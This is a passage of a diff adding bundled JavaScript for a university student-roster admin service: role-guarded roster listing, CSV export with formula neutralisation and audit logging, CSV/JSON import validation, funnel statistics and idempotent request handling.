+function metricsRoute(app2, metrics2) { + app2.get("/metrics", async (_request, reply) => { + reply.header("content-type", metrics2.registry.contentType); + return metrics2.registry.metrics(); + }); +} + +// services/admin/src/limits.ts +var DEFAULT_IMPORT_RATE_PER_MINUTE = 10; +var DEFAULT_EXPORT_RATE_PER_MINUTE = 10; + +// services/admin/src/lib/csv-write.ts +var FORMULA_TRIGGERS = /* @__PURE__ */ new Set(["=", "+", "-", "@", " ", "\r"]); +function neutralizeFormula(value) { + const first = value.charAt(0); + return FORMULA_TRIGGERS.has(first) ? `'${value}` : value; +} +function needsQuoting(text2) { + return /[",\r\n]/.test(text2) || text2.startsWith(" ") || text2.endsWith(" "); +} +function csvCell(value) { + let text2; + if (value === null || value === void 0) { + return ""; + } else if (typeof value === "number") { + text2 = Number.isFinite(value) ? String(value) : ""; + } else if (typeof value === "boolean") { + text2 = value ? "true" : "false"; + } else { + text2 = neutralizeFormula(value); + } + return needsQuoting(text2) ? `"${text2.replaceAll('"', '""')}"` : text2; +} +var UTF8_BOM = "\uFEFF"; +function toCsv(header, rows, options = {}) { + const lines = [header.map((name) => csvCell(name)).join(",")]; + for (const row of rows) lines.push(row.map((cell) => csvCell(cell)).join(",")); + return `${options.bom === true ? UTF8_BOM : ""}${lines.join("\r\n")}\r +`; +} + +// services/admin/src/lib/export-csv.ts +var EXPORT_COLUMNS = [ + "email", + "full_name", + "program", + "graduation_year", + "status", + "sharing_enabled", + "has_resume", + "latest_ats_score", + "applications_total", + ...APPLICATION_STATUSES.map((status) => `applications_${status}`) +]; +function exportRow(student) { + const insights = student.insights; + return [ + student.email, + student.full_name, + student.program, + student.graduation_year, + student.status, + student.sharing_enabled, + // Empty (not false / 0) where sharing is off: unknown is not the same as none. + insights?.has_resume, + insights?.latest_ats_score, + insights?.applications_total, + ...APPLICATION_STATUSES.map((status) => insights?.applications_by_status[status]) + ]; +} +function rosterToCsv(students5, options) { + return toCsv(EXPORT_COLUMNS, students5.map(exportRow), { bom: options.bom }); +} + +// services/admin/src/repo/audit.ts +var AUDIT_ACTIONS = { + studentsImport: "admin.students.import", + studentsExport: "admin.students.export" +}; +async function recordAudit(db2, entry) { + await db2.insert(schema_exports.auditLogs).values({ + organizationId: entry.organizationId, + actorUserId: entry.actorUserId, + action: entry.action, + resourceType: "student_roster", + resourceId: entry.organizationId, + traceId: entry.traceId, + metadata: entry.metadata + }); +} + +// services/admin/src/lib/timestamps.ts +function toIsoTimestamp(value) { + const parsed = new Date(value); + if (Number.isNaN(parsed.getTime())) { + throw new Error("toIsoTimestamp: not a timestamp"); + } + return parsed.toISOString(); +} + +// services/admin/src/repo/roster.ts +var { students: students2, users: users2, organizationMembers: organizationMembers2, resumes: resumes2, applications: applications2 } = schema_exports; +function escapeLike(term) { + return term.replace(/[\\%_]/g, (char2) => `\\${char2}`); +} +var PG_TIMESTAMP = /^\d{4}-\d{2}-\d{2}[ T]\d{2}:\d{2}:\d{2}(\.\d{1,6})?(Z|[+-]\d{2}(:?\d{2})?)$/; +var cursorSchema = external_exports.object({ createdAt: external_exports.string().regex(PG_TIMESTAMP), id: uuidSchema }); +function decodeRosterCursor(cursor) { + const parsed = cursorSchema.safeParse(decodeCursor(cursor)); + if (!parsed.success) throw new AppError("VALIDATION_ERROR", "Invalid cursor"); + return parsed.data; +} +function rosterSelect(db2) { + return db2.select({ + studentId: students2.studentId, + userId: students2.userId, + email: users2.email, + fullName: users2.fullName, + program: students2.department, + graduationYear: students2.graduationYear, + status: students2.currentStatus, + createdAt: students2.createdAt, + memberUserId: organizationMembers2.userId + }).from(students2).innerJoin(users2, and(eq(users2.userId, students2.userId), isNull(users2.deletedAt))).leftJoin( + organizationMembers2, + and( + eq(organizationMembers2.organizationId, students2.organizationId), + eq(organizationMembers2.userId, students2.userId) + ) + ); +} +function filterConditions(db2, filter) { + const conditions = []; + const sharing = isNotNull(organizationMembers2.userId); + if (filter.search) { + const pattern = `%${escapeLike(filter.search)}%`; + const match = or(ilike(users2.email, pattern), and(sharing, ilike(users2.fullName, pattern))); + if (match) conditions.push(match); + } + if (filter.has_resume !== void 0) { + const anyResume = db2.select({ one: sql`1` }).from(resumes2).where(eq(resumes2.userId, students2.userId)); + const match = and(sharing, filter.has_resume ? exists(anyResume) : notExists(anyResume)); + if (match) conditions.push(match); + } + if (filter.application_status !== void 0) { + const withStatus = db2.select({ one: sql`1` }).from(applications2).where( + and( + eq(applications2.userId, students2.userId), + eq(applications2.organizationId, students2.organizationId), + eq(applications2.status, filter.application_status) + ) + ); + const match = and(sharing, exists(withStatus)); + if (match) conditions.push(match); + } + return conditions; +} +function emptyInsights() { + return { + has_resume: false, + latest_ats_score: null, + applications_total: 0, + applications_by_status: emptyApplicationStatusCounts(), + last_application_activity_at: null + }; +} +async function loadInsights(db2, organizationId, userIds) { + const insights = /* @__PURE__ */ new Map(); + if (userIds.length === 0) return insights; + const [resumeRows, applicationRows] = await Promise.all([ + db2.select({ + userId: resumes2.userId, + resumeCount: sql`count(*)::int`, + latestAtsScore: sql`(array_agg(${resumes2.atsScore} order by ${resumes2.createdAt} desc, ${resumes2.resumeId} desc) filter (where ${resumes2.status} = 'parsed' and ${resumes2.atsScore} is not null))[1]` + }).from(resumes2).where(inArray(resumes2.userId, userIds)).groupBy(resumes2.userId), + db2.select({ + userId: applications2.userId, + status: applications2.status, + count: sql`count(*)::int`, + lastActivityAt: sql`max(${applications2.lastEventAt})` + }).from(applications2).where( + and(inArray(applications2.userId, userIds), eq(applications2.organizationId, organizationId)) + ).groupBy(applications2.userId, applications2.status) + ]); + for (const userId of userIds) insights.set(userId, emptyInsights()); + for (const row of resumeRows) { + const entry = insights.get(row.userId); + if (!entry) continue; + entry.has_resume = row.resumeCount > 0; + entry.latest_ats_score = row.latestAtsScore === null ? null : Math.round(row.latestAtsScore * 10) / 10; + } + for (const row of applicationRows) { + const entry = insights.get(row.userId); + if (!entry) continue; + entry.applications_by_status[row.status] = row.count; + entry.applications_total += row.count; + const activity = row.lastActivityAt === null ? null : toIsoTimestamp(row.lastActivityAt); + if (activity !== null && (entry.last_application_activity_at === null || activity > entry.last_application_activity_at)) { + entry.last_application_activity_at = activity; + } + } + return insights; +} +async function toRosterStudents(db2, organizationId, rows) { + const sharingUserIds = rows.filter((row) => row.memberUserId !== null).map((row) => row.userId); + const insights = await loadInsights(db2, organizationId, sharingUserIds); + return rows.map((row) => { + const sharingEnabled = row.memberUserId !== null; + return { + student_id: row.studentId, + email: row.email, + full_name: sharingEnabled ? row.fullName : null, + program: row.program, + graduation_year: row.graduationYear, + status: row.status, + created_at: toIsoTimestamp(row.createdAt), + sharing_enabled: sharingEnabled, + insights: sharingEnabled ? insights.get(row.userId) ?? emptyInsights() : null + }; + }); +} +async function listRoster(db2, organizationId, filter, page) { + const conditions = [ + eq(students2.organizationId, organizationId), + ...filterConditions(db2, filter) + ]; + if (page.cursor) { + const after = decodeRosterCursor(page.cursor); + const beforeCursor = or( + lt(students2.createdAt, after.createdAt), + and(eq(students2.createdAt, after.createdAt), lt(students2.studentId, after.id)) + ); + if (beforeCursor) conditions.push(beforeCursor); + } + const rows = await rosterSelect(db2).where(and(...conditions)).orderBy(desc(students2.createdAt), desc(students2.studentId)).limit(page.limit + 1); + const hasMore = rows.length > page.limit; + const pageRows = hasMore ? rows.slice(0, page.limit) : rows; + const last = pageRows[pageRows.length - 1]; + return { + items: await toRosterStudents(db2, organizationId, pageRows), + nextCursor: hasMore && last ? encodeCursor({ createdAt: last.createdAt, id: last.studentId }) : null + }; +} +async function findRosterStudent(db2, organizationId, studentId) { + const [row] = await rosterSelect(db2).where(and(eq(students2.organizationId, organizationId), eq(students2.studentId, studentId))).limit(1); + if (!row) return null; + const [student] = await toRosterStudents(db2, organizationId, [row]); + return student ?? null; +} + +// services/admin/src/repo/membership.ts +async function findOrgMembership(db2, organizationId, userId) { + const [row] = await db2.select({ role: schema_exports.organizationMembers.role, organizationType: schema_exports.organizations.type }).from(schema_exports.organizationMembers).innerJoin( + schema_exports.organizations, + eq(schema_exports.organizations.organizationId, schema_exports.organizationMembers.organizationId) + ).where( + and( + eq(schema_exports.organizationMembers.organizationId, organizationId), + eq(schema_exports.organizationMembers.userId, userId) + ) + ).limit(1); + return row ?? null; +} + +// services/admin/src/http/guard.ts +function isRosterRole(role) { + return ADMIN_ROSTER_ROLES.includes(role); +} +function isRosterOrgType(type) { + return ADMIN_ROSTER_ORG_TYPES.includes(type); +} +function orgAdminGuard(deps) { + const authenticate = requireAuth(deps.tokenVerifier); + return async function orgAdminGuardHook(request, reply) { + await authenticate(request, reply); + const actor = getActor(request); + const { orgId } = adminOrgParamsSchema.parse(request.params); + const membership = await findOrgMembership(deps.db, orgId, actor.user_id); + if (!membership) { + throw new AppError("NOT_FOUND", "Organization not found"); + } + if (!isRosterRole(membership.role)) { + throw new AppError("FORBIDDEN", "Only organization owners and admins can use this endpoint"); + } + if (!isRosterOrgType(membership.organizationType)) { + throw new AppError( + "FORBIDDEN", + "Roster management is only available for university organizations" + ); + } + request.orgScope = { organizationId: orgId, userId: actor.user_id, role: membership.role }; + }; +} +function getOrgScope(request) { + if (!request.orgScope) { + throw new AppError("INTERNAL_ERROR", "Request is missing its organization scope"); + } + return request.orgScope; +} + +// services/admin/src/http/routes/export-students.ts +var EXPORT_PAGE_SIZE = 1e3; +function exportStudentsRoute(app2, deps) { + app2.get( + "/v1/admin/organizations/:orgId/export.csv", + { + preParsing: orgAdminGuard(deps), + config: { + rateLimit: { + max: deps.limits?.exportRatePerMinute ?? DEFAULT_EXPORT_RATE_PER_MINUTE, + timeWindow: "1 minute" + } + } + }, + async (request, reply) => { + const { organizationId, userId } = getOrgScope(request); + const { bom, ...filter } = exportStudentsQuerySchema.parse(request.query); + const maxRows = deps.limits?.exportMaxRows ?? ADMIN_MAX_EXPORT_ROWS; + const students5 = []; + let cursor; + do { + const page = await listRoster(deps.db, organizationId, filter, { + limit: EXPORT_PAGE_SIZE, + cursor + }); + students5.push(...page.items); + if (students5.length > maxRows) { + throw new AppError( + "PAYLOAD_TOO_LARGE", + `An export may contain at most ${maxRows} rows; narrow it with search or filters`, + { details: { max_rows: maxRows } } + ); + } + cursor = page.nextCursor ?? void 0; + } while (cursor); + const filtersApplied = []; + if (filter.search !== void 0) filtersApplied.push("search"); + if (filter.has_resume !== void 0) filtersApplied.push("has_resume"); + if (filter.application_status !== void 0) filtersApplied.push("application_status"); + await recordAudit(deps.db, { + organizationId, + actorUserId: userId, + action: AUDIT_ACTIONS.studentsExport, + traceId: request.id, + metadata: { format: "csv", row_count: students5.length, filters: filtersApplied } + }); + const csv = rosterToCsv(students5, { bom }); + reply.status(200).header("content-type", "text/csv; charset=utf-8").header( + "content-disposition", + `attachment; filename="students-${(/* @__PURE__ */ new Date()).toISOString().slice(0, 10)}.csv"` + ).header("x-content-type-options", "nosniff").send(csv); + } + ); +} + +// services/admin/src/repo/funnel.ts +var { students: students3, users: users3, organizationMembers: organizationMembers3, resumes: resumes3, applications: applications3 } = schema_exports; +async function computeFunnel(db2, organizationId, range) { + const inRange = (column) => { + const bounds = []; + if (range.from) bounds.push(gte(column, range.from)); + if (range.to) bounds.push(lt(column, range.to)); + return bounds; + }; + const sharing = db2.select({ userId: students3.userId }).from(students3).innerJoin(users3, and(eq(users3.userId, students3.userId), isNull(users3.deletedAt))).innerJoin( + organizationMembers3, + and( + eq(organizationMembers3.organizationId, students3.organizationId), + eq(organizationMembers3.userId, students3.userId) + ) + ).where(eq(students3.organizationId, organizationId)).as("sharing"); + const latestScored = db2.selectDistinctOn([resumes3.userId], { userId: resumes3.userId, atsScore: resumes3.atsScore }).from(resumes3).innerJoin(sharing, eq(sharing.userId, resumes3.userId)).where( + and(eq(resumes3.status, "parsed"), isNotNull(resumes3.atsScore), ...inRange(resumes3.createdAt)) + ).orderBy(resumes3.userId, desc(resumes3.createdAt)).as("latest_scored"); + const applicationScope = () => [ + eq(applications3.organizationId, organizationId), + ...inRange(applications3.createdAt) + ]; + const [rosterRows, resumeRows, scoreRows, statusRows, appliedRows] = await Promise.all([ + db2.select({ + size: sql`count(*)::int`, + signedUp: sql`(count(*) filter (where ${users3.userId} is not null))::int`, + sharingEnabled: sql`(count(*) filter (where ${users3.userId} is not null and ${organizationMembers3.userId} is not null))::int` + }).from(students3).leftJoin(users3, and(eq(users3.userId, students3.userId), isNull(users3.deletedAt))).leftJoin( + organizationMembers3, + and( + eq(organizationMembers3.organizationId, students3.organizationId), + eq(organizationMembers3.userId, students3.userId) + ) + ).where(eq(students3.organizationId, organizationId)), + db2.select({ withResume: sql`count(distinct ${resumes3.userId})::int` }).from(resumes3).innerJoin(sharing, eq(sharing.userId, resumes3.userId)).where(and(...inRange(resumes3.createdAt))), + db2.select({ + scored: sql`count(*)::int`, + average: sql`round(avg(${latestScored.atsScore})::numeric, 1)::float8` + }).from(latestScored), + db2.select({ + status: applications3.status, + count: sql`count(*)::int`, + students: sql`count(distinct ${applications3.userId})::int` + }).from(applications3).innerJoin(sharing, eq(sharing.userId, applications3.userId)).where(and(...applicationScope())).groupBy(applications3.status), + db2.select({ students: sql`count(distinct ${applications3.userId})::int` }).from(applications3).innerJoin(sharing, eq(sharing.userId, applications3.userId)).where(and(...applicationScope())) + ]); + const byStatus = emptyApplicationStatusCounts(); + const studentsByStatus = /* @__PURE__ */ new Map(); + let total = 0; + for (const row of statusRows) { + byStatus[row.status] = row.count; + studentsByStatus.set(row.status, row.students); + total += row.count; + } + const roster = rosterRows[0]; + return { + roster: { + size: roster?.size ?? 0, + signed_up: roster?.signedUp ?? 0, + sharing_enabled: roster?.sharingEnabled ?? 0 + }, + resumes: { + students_with_resume: resumeRows[0]?.withResume ?? 0, + students_with_ats_score: scoreRows[0]?.scored ?? 0, + avg_ats_score: scoreRows[0]?.average ?? null + }, + applications: { + total, + students_applied: appliedRows[0]?.students ?? 0, + by_status: byStatus + }, + offers: { + applications: byStatus.offer, + students: studentsByStatus.get("offer") ?? 0 + } + }; +} + +// services/admin/src/http/routes/funnel.ts +function funnelRoute(app2, deps) { + app2.get( + "/v1/admin/organizations/:orgId/funnel", + { preParsing: orgAdminGuard(deps) }, + async (request, reply) => { + const { organizationId } = getOrgScope(request); + const range = adminFunnelQuerySchema.parse(request.query); + const counts = await computeFunnel(deps.db, organizationId, range); + const response = { + organization_id: organizationId, + range: { + from: range.from ? new Date(range.from).toISOString() : null, + to: range.to ? new Date(range.to).toISOString() : null + }, + generated_at: (/* @__PURE__ */ new Date()).toISOString(), + ...counts + }; + reply.status(200).send(response); + } + ); +} + +// services/admin/src/http/routes/get-student.ts +function getStudentRoute(app2, deps) { + app2.get( + "/v1/admin/organizations/:orgId/students/:studentId", + { preParsing: orgAdminGuard(deps) }, + async (request, reply) => { + const { organizationId } = getOrgScope(request); + const { studentId } = adminStudentParamsSchema.parse(request.params); + const student = await findRosterStudent(deps.db, organizationId, studentId); + if (!student) { + throw new AppError("NOT_FOUND", "Student not found"); + } + const response = { student }; + reply.status(200).send(response); + } + ); +} + +// services/admin/src/http/routes/health.ts +function healthRoute(app2, deps) { + app2.get("/health", async (_request, reply) => { + const dbOk = await pingDatabase(deps.sql); + const body = { + status: dbOk ? "ok" : "degraded", + service: "admin-service", + version: "0.1.0", + checks: { database: dbOk ? "ok" : "fail" } + }; + reply.status(dbOk ? 200 : 503).send(body); + }); +} + +// services/admin/src/lib/csv-parse.ts +var CsvParseError = class extends Error { + constructor(failure, record2) { + super(`CSV parse failed: ${failure}`); + this.failure = failure; + this.record = record2; + this.name = "CsvParseError"; + } +}; +function isBlankRecord(cells) { + return cells.every((cell) => cell.trim() === ""); +} +function parseCsv(input, options) { + const text2 = input.charCodeAt(0) === 65279 ? input.slice(1) : input; + const length = text2.length; + const records = []; + let row = []; + let index2 = 0; + const finishRecord = () => { + if (!isBlankRecord(row)) { + records.push(row); + if (records.length > options.maxRecords) { + throw new CsvParseError("too_many_records", records.length); + } + } + row = []; + }; + while (index2 < length) { + let field; + if (text2[index2] === '"') { + index2 += 1; + field = ""; + for (; ; ) { + const quote = text2.indexOf('"', index2); + if (quote === -1) throw new CsvParseError("unterminated_quote", records.length + 1); + field += text2.slice(index2, quote); + if (text2[quote + 1] === '"') { + field += '"'; + index2 = quote + 2; + continue; + } + index2 = quote + 1; + break; + } + const next = text2[index2]; + if (index2 < length && next !== "," && next !== "\n" && next !== "\r") { + throw new CsvParseError("misplaced_quote", records.length + 1); + } + } else { + const start = index2; + while (index2 < length) { + const char2 = text2[index2]; + if (char2 === "," || char2 === "\n" || char2 === "\r") break; + index2 += 1; + } + field = text2.slice(start, index2); + } + row.push(field); + if (index2 >= length) { + finishRecord(); + break; + } + if (text2[index2] === ",") { + index2 += 1; + if (index2 >= length) { + row.push(""); + finishRecord(); + break; + } + continue; + } + index2 += text2[index2] === "\r" && text2[index2 + 1] === "\n" ? 2 : 1; + finishRecord(); + } + return records; +} + +// services/admin/src/lib/import-rows.ts +var REQUIRED_COLUMNS = ["email", "full_name"]; +var KNOWN_COLUMNS = new Set(IMPORT_STUDENT_COLUMNS); +function normalizeHeader(name) { + return name.trim().toLowerCase().replace(/[\s-]+/g, "_"); +} +function safeHeaderName(name) { + const cleaned = Array.from(name.slice(0, 40)).map((char2) => hasControlCharacters(char2) ? " " : char2).join(""); + return cleaned.trim(); +} +function csvError(message2, details) { + return new AppError("VALIDATION_ERROR", message2, details === void 0 ? {} : { details }); +} +function csvToRawRows(text2, maxRows = ADMIN_MAX_IMPORT_ROWS) { + let records; + try { + records = parseCsv(text2, { maxRecords: maxRows + 1 }); + } catch (cause) { + if (cause instanceof CsvParseError) { + if (cause.failure === "too_many_records") { + throw new AppError("PAYLOAD_TOO_LARGE", `An import may contain at most ${maxRows} rows`, { + details: { max_rows: maxRows } + }); + } + throw csvError("CSV is malformed: check quoting", { record: cause.record }); + } + throw cause; + } + const [headerCells, ...dataRecords] = records; + if (!headerCells) throw csvError("CSV is empty: expected a header row"); + const header = headerCells.map(normalizeHeader); + const unknown2 = header.filter((name) => !KNOWN_COLUMNS.has(name)); + if (unknown2.length > 0) { + throw csvError("CSV header has unknown columns", { + unknown_columns: unknown2.slice(0, 10).map(safeHeaderName), + allowed_columns: IMPORT_STUDENT_COLUMNS + }); + } + if (new Set(header).size !== header.length) throw csvError("CSV header has duplicate columns"); + const missing = REQUIRED_COLUMNS.filter((name) => !header.includes(name)); + if (missing.length > 0) + throw csvError("CSV header is missing required columns", { missing_columns: missing }); + if (dataRecords.length === 0) throw csvError("CSV has no data rows"); + return dataRecords.map((cells) => { + if (cells.length > header.length && cells.slice(header.length).some((cell) => cell.trim() !== "")) { + return null; + } + const row = {}; + header.forEach((name, position) => { + row[name] = cells[position] ?? ""; + }); + return row; + }); +} +function jsonToRawRows(body, maxRows = ADMIN_MAX_IMPORT_ROWS) { + let rows; + if (Array.isArray(body)) { + rows = body; + } else if (typeof body === "object" && body !== null && !Array.isArray(body)) { + const keys = Object.keys(body); + if (keys.length !== 1 || keys[0] !== "rows") { + throw csvError('Expected a JSON object with a single "rows" array'); + } + rows = body.rows; + } + if (!Array.isArray(rows)) throw csvError('Expected "rows" to be an array'); + if (rows.length === 0) throw csvError("At least one row is required"); + if (rows.length > maxRows) { + throw new AppError("PAYLOAD_TOO_LARGE", `An import may contain at most ${maxRows} rows`, { + details: { max_rows: maxRows } + }); + } + return rows.map( + (row) => typeof row === "object" && row !== null && !Array.isArray(row) ? row : null + ); +} +var REASON_BY_FIELD = { + email: { missing: "MISSING_EMAIL", invalid: "INVALID_EMAIL" }, + full_name: { missing: "MISSING_FULL_NAME", invalid: "INVALID_FULL_NAME" }, + student_id: { invalid: "INVALID_STUDENT_ID" }, + graduation_year: { invalid: "INVALID_GRADUATION_YEAR" }, + program: { invalid: "INVALID_PROGRAM" } +}; +function cleanRow(raw) { + const cleaned = {}; + let hasUnknownKey = false; + for (const [key, value] of Object.entries(raw)) { + if (!KNOWN_COLUMNS.has(key)) { + hasUnknownKey = true; + continue; + } + if (value === null || value === void 0) continue; + if (typeof value === "string" && value.trim() === "") continue; + cleaned[key] = value; + } + return { cleaned, hasUnknownKey }; +} +function validateImportRows(rawRows) { + return rawRows.map((raw, position) => { + const row = position + 1; + if (raw === null || typeof raw !== "object" || Array.isArray(raw)) { + return { row, ok: false, reason: "MALFORMED_ROW" }; + } + const { cleaned, hasUnknownKey } = cleanRow(raw); + if (hasUnknownKey) return { row, ok: false, reason: "UNKNOWN_FIELD" }; + const parsed = importStudentRowSchema.safeParse(cleaned); + if (!parsed.success) { + const field = String(parsed.error.issues[0]?.path[0] ?? ""); + const reasons = REASON_BY_FIELD[field]; + const reason = reasons === void 0 ? "MALFORMED_ROW" : cleaned[field] === void 0 && reasons.missing !== void 0 ? reasons.missing : reasons.invalid; + return { row, ok: false, reason }; + } + const data = parsed.data; + return { + row, + ok: true, + value: { + row, + email: data.email, + program: data.program, + graduationYear: data.graduation_year, + suppliedStudentId: data.student_id !== void 0 + } + }; + }); +} +function planImport(outcomes) { + const rows = []; + const errors = []; + const seen = /* @__PURE__ */ new Set(); + let duplicates = 0; + let anyValid = false; + let anyStudentId = false; + for (const outcome of outcomes) { + if (!outcome.ok) { + errors.push({ row: outcome.row, reason: outcome.reason }); + continue; + } + anyValid = true; + anyStudentId ||= outcome.value.suppliedStudentId; + if (seen.has(outcome.value.email)) { + duplicates += 1; + continue; + } + seen.add(outcome.value.email); + rows.push(outcome.value); + } + const ignoredFields = []; + if (anyValid) ignoredFields.push("full_name"); + if (anyStudentId) ignoredFields.push("student_id"); + return { rows, errors, duplicates, ignoredFields }; +} + +// services/admin/src/repo/idempotency.ts +var IDEMPOTENCY_TTL_MS = 24 * 60 * 60 * 1e3; +async function runIdempotent(db2, context2, work) { + return db2.transaction(async (tx) => { + const now = /* @__PURE__ */ new Date(); + const keys = schema_exports.idempotencyKeys; + await tx.delete(keys).where( + and( + eq(keys.scope, context2.scope), + eq(keys.key, context2.key), + lt(keys.expiresAt, now.toISOString()) + ) + ); + const reserved = await tx.insert(keys).values({ + scope: context2.scope, + key: context2.key, + userId: context2.userId, + requestHash: context2.requestHash, + expiresAt: new Date(now.getTime() + IDEMPOTENCY_TTL_MS).toISOString() + }).onConflictDoNothing().returning({ key: keys.key }); + if (reserved.length === 0) { + const [existing] = await tx.select().from(keys).where(and(eq(keys.scope, context2.scope), eq(keys.key, context2.key))).limit(1); + if (!existing) { + throw new AppError( + "CONFLICT", + "The idempotency key is being used by another request; retry" + ); + } + if (existing.requestHash !== context2.requestHash) { + throw new AppError( + "IDEMPOTENCY_KEY_REUSED", + "This idempotency key was already used for a different request" + ); + } + if (existing.responseStatus === null || existing.responseBody === null) { + throw new AppError( + "CONFLICT", + "A request with this idempotency key is still in progress; retry" + ); + } + return { replayed: true, status: existing.responseStatus, body: existing.responseBody }; + } + const response = await work(tx); + await tx.update(keys).set({ responseStatus: response.status, responseBody: response.body }).where(and(eq(keys.scope, context2.scope), eq(keys.key, context2.key))); + return { replayed: false, ...response }; + }); +} + +// services/admin/src/repo/import.ts +var { students: students4, users: users4 } = schema_exports; +var LOOKUP_CHUNK = 1e3; +var WRITE_CHUNK = 500; +function chunks(items, size2) { + const out = []; + for (let start = 0; start < items.length; start += size2) + out.push(items.slice(start, start + size2)); + return out; +} +async function applyRosterImport(tx, organizationId, rows) { + const userIdByEmail = /* @__PURE__ */ new Map(); + const lowerEmail = sql`lower(${users4.email})`; + for (const part of chunks( + rows.map((row) => row.email), + LOOKUP_CHUNK + )) { + const found = await tx.select({ userId: users4.userId, email: lowerEmail }).from(users4).where(and(isNull(users4.deletedAt), inArray(lowerEmail, part))); + for (const account of found) userIdByEmail.set(account.email, account.userId); + } + const existingByUserId = /* @__PURE__ */ new Map(); + for (const part of chunks([...userIdByEmail.values()], LOOKUP_CHUNK)) { + const found = await tx.select({ + studentId: students4.studentId, + userId: students4.userId, + program: students4.department, + graduationYear: students4.graduationYear + }).from(students4).where(and(eq(students4.organizationId, organizationId), inArray(students4.userId, part))); + for (const entry of found) existingByUserId.set(entry.userId, entry); + } + const toInsert = []; + const toUpdate = []; + const result = { created: 0, updated: 0, unchanged: 0, noPlatformAccount: 0 }; + for (const row of rows) { + const userId = userIdByEmail.get(row.email); + if (userId === void 0) { + result.noPlatformAccount += 1; + continue; + } + const current = existingByUserId.get(userId); + if (!current) { + toInsert.push({ + organizationId, + userId, + department: row.program ?? null, + graduationYear: row.graduationYear ?? null + }); + continue; + } + const programChanged = row.program !== void 0 && row.program !== current.program; + const yearChanged = row.graduationYear !== void 0 && row.graduationYear !== current.graduationYear; + if (programChanged || yearChanged) { + toUpdate.push({ + studentId: current.studentId, + program: row.program ?? null, + graduationYear: row.graduationYear ?? null + }); + } else { + result.unchanged += 1; + } + } + for (const part of chunks(toInsert, WRITE_CHUNK)) { + const inserted = await tx.insert(students4).values(part).onConflictDoNothing({ target: [students4.organizationId, students4.userId] }).returning({ studentId: students4.studentId }); + result.created += inserted.length; + result.unchanged += part.length - inserted.length; + } + for (const part of chunks(toUpdate, WRITE_CHUNK)) { + const values2 = sql.join( + part.map( + (entry) => sql`(${entry.studentId}::uuid, ${entry.program}::varchar, ${entry.graduationYear}::int)` + ), + sql`, ` + ); + await tx.execute(sql` + update ${students4} as s + set department = coalesce(v.department, s.department), + graduation_year = coalesce(v.graduation_year, s.graduation_year) + from (values ${values2}) as v(student_id, department, graduation_year) + where s.student_id = v.student_id and s.organization_id = ${organizationId}::uuid + `); + result.updated += part.length; + } + return result; +} + +// services/admin/src/http/routes/import-students.ts +var IMPORT_BODY_LIMIT_BYTES = 4 * 1024 * 1024; +var idempotencyKeySchema = external_exports.string().min(8).max(200); +function requireIdempotencyKey(request) { + const raw = request.headers[IDEMPOTENCY_HEADER]; + if (typeof raw !== "string" || raw.length === 0) { + throw new AppError("IDEMPOTENCY_KEY_REQUIRED", `${IDEMPOTENCY_HEADER} header is required`); + } + return idempotencyKeySchema.parse(raw); +} +async function checkIdempotencyKey(request) { + requireIdempotencyKey(request); +} +function mediaType(request) { + return (request.headers["content-type"] ?? "").split(";")[0]?.trim().toLowerCase() ?? ""; +} +function extractRows(request) { + const type = mediaType(request); + if (type === "text/csv") { + if (typeof request.body !== "string") { + throw new AppError("VALIDATION_ERROR", "Request body is empty"); + } + return { source: "csv", rows: csvToRawRows(request.body) }; + } + if (type !== "application/json" && !type.endsWith("+json")) { + throw new AppError("UNSUPPORTED_MEDIA_TYPE", "Send the roster as text/csv or application/json"); + } + if (request.body === void 0 || request.body === null) { + throw new AppError("VALIDATION_ERROR", "Request body is empty"); + } + return { source: "json", rows: jsonToRawRows(request.body) }; +} +function importStudentsRoute(app2, deps) { + app2.addContentTypeParser( + "text/csv", + { parseAs: "string", bodyLimit: IMPORT_BODY_LIMIT_BYTES }, + (_request, body, done) => done(null, body) + ); + app2.post( + "/v1/admin/organizations/:orgId/students/import", + { + // Auth, membership and the idempotency header are all checked before the + // (large) body is read. + preParsing: [orgAdminGuard(deps), checkIdempotencyKey], + bodyLimit: IMPORT_BODY_LIMIT_BYTES, + config: { + rateLimit: { + max: deps.limits?.importRatePerMinute ?? DEFAULT_IMPORT_RATE_PER_MINUTE, + timeWindow: "1 minute" + } + } + }, + async (request, reply) => { + const { organizationId, userId } = getOrgScope(request); + const actor = getActor(request); + const idempotencyKey = requireIdempotencyKey(request); + const { source, rows: rawRows } = extractRows(request); + const plan = planImport(validateImportRows(rawRows)); + const result = await runIdempotent( + deps.db, + { + // Keys are private to one caller in one organization. + scope: `admin.students.import:${organizationId}:${userId}`, + key: idempotencyKey, + userId: actor.user_id, + requestHash: sha256Hex(JSON.stringify(rawRows)) + }, + async (tx) => { + const applied = await applyRosterImport(tx, organizationId, plan.rows); + const body = { + total_rows: rawRows.length, + created: applied.created, + updated: applied.updated, + skipped: applied.unchanged + plan.duplicates + applied.noPlatformAccount, + skipped_breakdown: { + unchanged: applied.unchanged, + duplicate_in_file: plan.duplicates, + no_platform_account: applied.noPlatformAccount + }, + errors: plan.errors, + ignored_fields: plan.ignoredFields + }; + await recordAudit(tx, { + organizationId, + actorUserId: actor.user_id, + action: AUDIT_ACTIONS.studentsImport, + traceId: request.id, + metadata: { + source, + total_rows: body.total_rows, + created: body.created, + updated: body.updated, + skipped: body.skipped, + errors: body.errors.length + } + }); + return { status: 200, body }; + } + ); + if (result.replayed) reply.header("idempotent-replayed", "true"); + reply.status(result.status).send(result.body); + } + ); +} + +// services/admin/src/http/routes/list-students.ts +function listStudentsRoute(app2, deps) { + app2.get( + "/v1/admin/organizations/:orgId/students", + { preParsing: orgAdminGuard(deps) }, + async (request, reply) => { + const { organizationId } = getOrgScope(request); + const { limit, cursor, ...filter } = listAdminStudentsQuerySchema.parse(request.query); + const page = await listRoster(deps.db, organizationId, filter, { limit, cursor }); + const response = { + items: page.items, + next_cursor: page.nextCursor + }; + reply.status(200).send(response); + } + ); +} + +// services/admin/src/app.ts +var STATUS_TO_CODE = { + 400: "VALIDATION_ERROR", + 413: "PAYLOAD_TOO_LARGE", + 415: "UNSUPPORTED_MEDIA_TYPE", + 429: "RATE_LIMITED" +}; +function serializeRequestForLog(request) { + const url2 = request.url ?? ""; + const queryStart = url2.indexOf("?"); + return { + method: request.method, + url: queryStart === -1 ? url2 : `${url2.slice(0, queryStart)}?[redacted]`, + host: request.host, + remoteAddress: request.ip, + remotePort: request.socket?.remotePort + }; +} +function buildApp(deps) { + const app2 = (0, import_fastify.default)({ + // See services/auth/src/app.ts for why this cast is needed: pino's Logger + // type and Fastify's FastifyBaseLogger disagree on a structural detail + // that doesn't matter at runtime. + loggerInstance: deps.logger.child( + {}, + { serializers: { req: serializeRequestForLog } } + ), + 